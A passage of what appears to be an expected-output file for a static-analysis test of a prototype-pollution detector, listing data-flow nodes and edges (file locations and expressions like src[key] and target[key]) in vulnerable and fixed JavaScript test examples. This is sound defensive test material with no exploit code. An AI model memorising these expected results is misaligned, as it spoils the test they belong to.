| -| PrototypePollutionUtility/tests.js:465:41:465:43 | src | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:41:465:48 | src[key] | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:465:45:465:47 | key | -| PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:466:30:466:32 | dst | -| PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:466:34:466:36 | key | -| PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:41:466:46 | o[key] | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:466:43:466:45 | key | -| PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:467:30:467:32 | dst | -| PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:467:34:467:36 | key | -| PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:467:41:467:45 | value | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:472:38:472:40 | dst | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | -| PrototypePollutionUtility/tests.js:473:18:473:22 | value | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | -| PrototypePollutionUtility/tests.js:473:25:473:27 | key | -| PrototypePollutionUtility/tests.js:475:41:475:43 | dst | -| PrototypePollutionUtility/tests.js:475:41:475:43 | dst | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:41:475:48 | dst[key] | -| PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:475:45:475:47 | key | -| PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:477:13:477:15 | dst | -| PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:477:17:477:19 | key | -| PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:477:24:477:28 | value | -| PrototypePollutionUtility/tests.js:483:26:483:28 | dst | -| PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:483:31:483:33 | src | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | -| PrototypePollutionUtility/tests.js:484:14:484:16 | key | -| PrototypePollutionUtility/tests.js:487:29:487:31 | dst | -| PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | -| PrototypePollutionUtility/tests.js:487:29:487:36 | dst[key] | -| PrototypePollutionUtility/tests.js:487:33:487:35 | key | -| PrototypePollutionUtility/tests.js:487:39:487:41 | src | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:487:39:487:46 | src[key] | -| PrototypePollutionUtility/tests.js:487:43:487:45 | key | -| PrototypePollutionUtility/tests.js:489:13:489:15 | dst | -| PrototypePollutionUtility/tests.js:489:13:489:15 | dst | -| PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:489:17:489:19 | key | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | -| PrototypePollutionUtility/tests.js:489:24:489:26 | src | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:24:489:31 | src[key] | -| PrototypePollutionUtility/tests.js:489:28:489:30 | key | -| PrototypePollutionUtility/tests.js:494:32:494:34 | src | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | -| PrototypePollutionUtility/tests.js:495:14:495:16 | key | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:13:498:28 | value | -| PrototypePollutionUtility/tests.js:498:21:498:23 | src | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:498:21:498:28 | src[key] | -| PrototypePollutionUtility/tests.js:498:25:498:27 | key | -| PrototypePollutionUtility/tests.js:500:38:500:42 | value | -| PrototypePollutionUtility/tests.js:500:38:500:42 | value | -| PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:502:17:502:19 | key | -| PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| PrototypePollutionUtility/tests.js:502:24:502:28 | value | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:1:16:1:18 | dst | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility.js:5:19:5:21 | dst | -| examples/PrototypePollutionUtility.js:5:19:5:21 | dst | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:19:5:26 | dst[key] | -| examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:5:23:5:25 | key | -| examples/PrototypePollutionUtility.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:5:33:5:35 | key | -| examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:7:13:7:15 | dst | -| examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:31 | src | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:6:29:6:36 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:26 | src | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed2.js:8:24:8:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:1:21:1:23 | src | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility_fixed.js:2:14:2:16 | key | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:31 | src | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:5:29:5:36 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:7:17:7:19 | key | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:26 | src | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:24:7:31 | src[key] | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -| examples/PrototypePollutionUtility_fixed.js:7:28:7:30 | key | -edges -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | -| PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | -| PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | -| PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | -| PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | -| PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:6:28:6:30 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:6:28:6:30 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | PrototypePollutionUtility/tests.js:6:38:6:40 | src | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | PrototypePollutionUtility/tests.js:6:38:6:40 | src | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | PrototypePollutionUtility/tests.js:8:24:8:26 | src | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | PrototypePollutionUtility/tests.js:8:24:8:26 | src | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | PrototypePollutionUtility/tests.js:6:32:6:34 | key | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | PrototypePollutionUtility/tests.js:6:32:6:34 | key | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | PrototypePollutionUtility/tests.js:6:32:6:34 | key | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | 